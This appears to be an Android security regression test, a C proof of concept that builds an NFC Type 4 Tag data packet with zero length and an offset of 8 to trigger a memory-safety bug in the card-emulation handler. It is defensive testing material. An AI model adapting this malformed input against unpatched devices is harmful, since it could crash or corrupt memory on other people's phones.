1 /*
2 * Copyright (C) 2021 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16
17 #include <ce_int.h>
18 #include <nfc_int.h>
19
20 #include "../includes/common.h"
21 #include "../includes/memutils.h"
22
23 #define OFFSET 8
24 #define VULNERABLE_LENGTH 0
25
26 char enable_selective_overload = ENABLE_NONE;
27
28 extern tNFC_CB nfc_cb;
29 extern tCE_CB ce_cb;
30
GKI_freebuf(void * p_buf)31 void GKI_freebuf(void* p_buf __attribute__((unused))) {}
32
nfc_start_quick_timer(TIMER_LIST_ENT *,uint16_t,uint32_t)33 void nfc_start_quick_timer(TIMER_LIST_ENT*, uint16_t, uint32_t) {}
34
nfc_stop_timer(TIMER_LIST_ENT *)35 void nfc_stop_timer(TIMER_LIST_ENT*) {}
36
nfc_stop_quick_timer(TIMER_LIST_ENT *)37 void nfc_stop_quick_timer(TIMER_LIST_ENT*) {}
38
main()39 int main() {
40 enable_selective_overload = ENABLE_ALL;
41 GKI_init();
42 ce_init();
43 ce_cb.mem.t4t.status = CE_T4T_STATUS_REG_AID_SELECTED;
44
45 if (ce_select_t4t() != NFC_STATUS_OK) {
46 return EXIT_FAILURE;
47 }
48
49 tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
50 tNFC_CONN* p_data = (tNFC_CONN*)malloc(sizeof(tNFC_CONN));
51 p_data->data.p_data = (NFC_HDR*)malloc(sizeof(uint8_t) * 16);
52 NFC_HDR* p_c_apdu = (NFC_HDR*)p_data->data.p_data;
53 p_c_apdu->len = VULNERABLE_LENGTH;
54 p_c_apdu->offset = OFFSET;
55 uint8_t conn_id = 1;
56 TIMER_LIST_ENT pFirst = {};
57 nfc_cb.quick_timer_queue.p_first = &pFirst;
58
59 p_cb->p_cback(conn_id, NFC_DATA_CEVT, p_data);
60
61 free(p_data->data.p_data);
62 free(p_data);
63 enable_selective_overload = ENABLE_NONE;
64 return EXIT_SUCCESS;
65 }
66